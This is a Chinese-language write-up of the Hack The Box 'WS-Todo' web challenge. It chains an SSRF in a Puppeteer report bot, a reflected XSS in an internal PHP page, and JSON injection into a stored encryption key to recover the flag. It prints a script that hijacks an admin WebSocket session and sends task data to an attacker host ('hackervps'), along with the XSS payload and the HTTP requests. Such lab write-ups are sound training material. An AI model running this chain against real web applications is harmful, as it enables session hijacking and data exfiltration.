HTB WS-Todo

目標說明

hackthebox上的web靶機,名稱為ws-todo,情境是websocket任務管理系統

目標總共有兩台伺服器,一台運行node.js,另一台運行PHP。
Node.js 伺服器將稱為 todo,PHP 伺服器將稱為 htmltester。

安全風險

此目標發現4個安全風險

  1. todo服務器的report接口有SSRF問題
  2. todo服務器的密鑰可被控制
  3. htmltester服務器index.php有xss問題
  4. 嚴格模式被關閉,數據庫允許儲存過長的字串

保護機制

  • flag被加密
  • 無法執行其他來源的請求,CSRF攻擊沒用

安全優化建議 

  • 檢查網站的架構是否有SSRF的漏洞
  • 檢查相關網站是否有XSS漏洞
  • 檢查nodejs使用的反引號是否能改變程式行為
  • 數據庫開啟嚴格式模式


攻擊手法

分析todo服務器的以下wsHandler.js代碼可以發現,flag在userID=1的時候會顯示,userID=1代表必須admin登入,因此要想辦法用admin的身份在websocket發送get動作拿到flag

...omit...
else if (data.action === 'get') {
            try {
                const results = await db.getTasks(userId);
                const tasks = [];
                for (const result of results) {

                    let quote;

                    if (userId === 1) {
                        quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
...omit...

TODO server使用SSRF

分析代碼後發現這裡有SSRF漏洞,當TODO服務器請求report路由時,服務端的puppeteer會用admin身份去訪問請求中的url

// routes/index.js
// Report any suspicious activity to the admin!
router.post('/report', doReportHandler);

// util/report.js
const doReportHandler = async (req, res) => {
    if (!browser) {
        console.log('[INFO] Starting browser')
        browser = await puppeteer.launch({
    ...omit...
    const url = req.body.url
    ...omit...
    await visit(url)
    ...omit...
}

在report.js裡,訪問任意頁面都會登入admin帳戶

// util/report.js
...omit...
const visit = async (url) => {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()

    await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
    await page.waitForSelector('form')
    await page.type('wired-input[name=username]', process.env.USERNAME)
    await page.type('wired-input[name=password]', process.env.PASSWORD)
    await page.click('wired-button')
...omit...

因此可以可以透過如下請求發動SSRF攻擊,讓目標服務器存取內網的網址

POST /report HTTP/1.1
Host: 167.99.82.136:31836
Content-Length: 116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.99.82.136:31836
Referer: http://167.99.82.136:31836/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AN9JVoeONBaLeHgUFCsqsakes8hMykHv_.xmv7VsgbfcSyhBWmZ%2B12DDUqhN32C%2FqSneKOJV%2Bgy2w
Connection: close

{
"url": "http://127.0.0.1:8080/index.php"
}

htmltester server使用XSS

代碼檢查時發現htmltester服务器的index.php內的$_GET['html']沒有做過濾

<html>
    <body>
        <?php if (isset($_GET['html'])): ?>
            <?php echo $_GET['html']; ?>
        <?php else: ?>
            <h1>HTML Tester</h1>
            <p>Internal development tool</p>
            <form action="index.php" method="get">
                <input type="text" name="html" />
                <input type="submit" value="Submit" />
            </form>
        <?php endif; ?>
    </body>
</html>

經過測試發現可以觸發XSS攻擊

http://htmltester:30785/index.php?html=<script>alert(1)</script>

但直接用XSS攻擊是沒用的,因為只會在htmltester服務器有作用,另外在antiCSRFMiddleware.js這邊做保護也無法執行CSRF

const antiCSRFMiddleware = (req, res, next) => {
    const referer = (req.headers.referer? new URL(req.headers.referer).host : req.headers.host);
    const origin = (req.headers.origin? new URL(req.headers.origin).host : null);
  
    if (req.headers.host === (origin || referer)) {
      next();
    } else {
      return res.status(403).json({ error: 'CSRF detected' });
    }
};

透過SSRF執行XSS

另外準備一台攻擊用的主機 hackervps,在搭配ssrf漏洞可以用管理員身份進行xss攻擊,只要將以下 XSS payload傳送report就能觸發內部代碼機制由admin執行


POST /report HTTP/1.1
...omit...

{
"url": "http://127.0.0.1:8080/index.php?html=%3Cscript%20src=%22http://hackervps/attack.js%22%3E%3C/script%3E"
}

因為report讀取網頁會用admin,所以會用admin去執行hackervps主機上的攻擊腳本,attack.js 的內容如下

const ws = new WebSocket('ws://127.0.0.1/ws');
ws.onopen = () => {
    ws.send(JSON.stringify({ action: 'add' }))
    ws.send(JSON.stringify({ action: 'get' }))
}

ws.onmessage = async (msg) => {
    const data = JSON.parse(msg.data);
    if (data.success) {
        if (data.action === 'get') {
            fetch("http://hackervps/" + JSON.stringify(data.tasks ))
        }
        else if (data.action === 'add') {
        }
    }
}

整個流程是,report接受請求後,代碼內的puppeteer會登入admin帳戶訪問我們傳入的URL,然後載入attack.js,並執行websocket的連接然後發消息,最後在hackervps主機拿到flag如下,但這個flag被加密了

167.99.82.136 - - [07/Jan/2024:12:33:21 +0000] "GET /ctf?[{%22title%22:{%22iv%22:%220e2d754664b9a107f86566646acfe885%22,%22content%22:%2260270eaaac
78758442%22},%22description%22:{%22iv%22:%22620944136fbe0f54bfcc5f2f0d0cfe78%22,%22content%22:%22272bfbd23fd9538edb%22},%22quote%22:{%22iv%22:%223c
c783e9d35cee00d546da87c2b93329%22,%22content%22:%22b5752f14054d881bd4f5cf17d51ebe04655c1b7482b883cc7fa86c1f46ac6fede88d754596496c854404859b805249b3
8872f43f5c5e45ed97e67c759c08d9%22}}] HTTP/1.1" 404 4789 "http://127.0.0.1:8080/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like G
ecko) HeadlessChrome/101.0.4950.0 Safari/537.36"

從wsHandler.js代碼中可以看到,必須對加密的內容quote進行解密

                    if (userId === 1) {
                        quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
                 ...OMIT...
                            quote: encrypt(quote, task.secret)
                        });

控制密鑰

在wsHandler.js代碼中發現nodejs有一段代碼使用反引號,這個可以直接產生字串,而且這個字串直接被插入了資料庫

//wsHandler.js
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
...omit...
const task = JSON.parse(result.data);

//database.js
async addTask(userId, data) {
    const result = await this.query('INSERT INTO todos (user_id, data) VALUES (?, ?)', [userId, data]);
    return result;
}

這裡可以控制description的值變成我們想要的內容

原本代碼格式如下
`{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`

正常輸入內容title: 'A', description: 'AAA',

代碼內容會變成{"title":"A","description":"AAA","secret":"${secret}"}

異常輸入內容 title: 'A', description: `AAA...","secret":"00000000000000000000000000000000"}`

代碼內容會變成 {"title":"A","description":"AAA...","secret":"00000000000000000000000000000000"}","secret":"${secret}"}

但由於data只限制255個字元,所以進資料庫變成 {"title":"A","description":"AAA...","secret":"00000000000000000000000000000000"}

在加上從以下的supervisord.conf發現,目前mysql不是嚴格模式,所以超過255個字元還是能插入

[program:mysql]
# Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"
autorestart=true

因此可以透過填充垃圾數據的方式,讓密鑰可控

調整攻擊腳本

調整攻擊腳本,在action:’add’後增加title: 'A',description: `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","secret":"00000000000000000000000000000000"}`如下

const ws = new WebSocket(`ws://127.0.0.1/ws`);
ws.onopen = () => {
    ws.send(JSON.stringify({action:'add',title: 'A',description: `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","secret":"00000000000000000000000000000000"}`}));
    ws.send(JSON.stringify({action:'get' }))
}
ws.onmessage = async (msg) => {
    const data = JSON.parse(msg.data);
    if (data.success) {
        if (data.action === 'get') {
            fetch("http://hackervps/" + JSON.stringify(data.tasks ))
        }
        else if (data.action === 'add') {
        }
    }
}

改變攻擊腳本在執行一次, 然後回到hackervps主機取得的加密flag,把quote的iv的content取出,調用decrpy接口搭配我們自訂的密鑰00000000000000000000000000000000來解密如下,就能得到flag

POST /decrypt HTTP/1.1
...omit...

{"cipher":{"iv":"1c628adf9afda2df908a48f35cfa268c","content":"40017107d5b89ed7081c1d5b04c26141718cb8990858bb1cfde36e8f9753e43aba190eb68b9a83a02d2eb5de4c16c27a61ce9e659c78711c470ea26460c3a9"},"secret":"00000000000000000000000000000000"}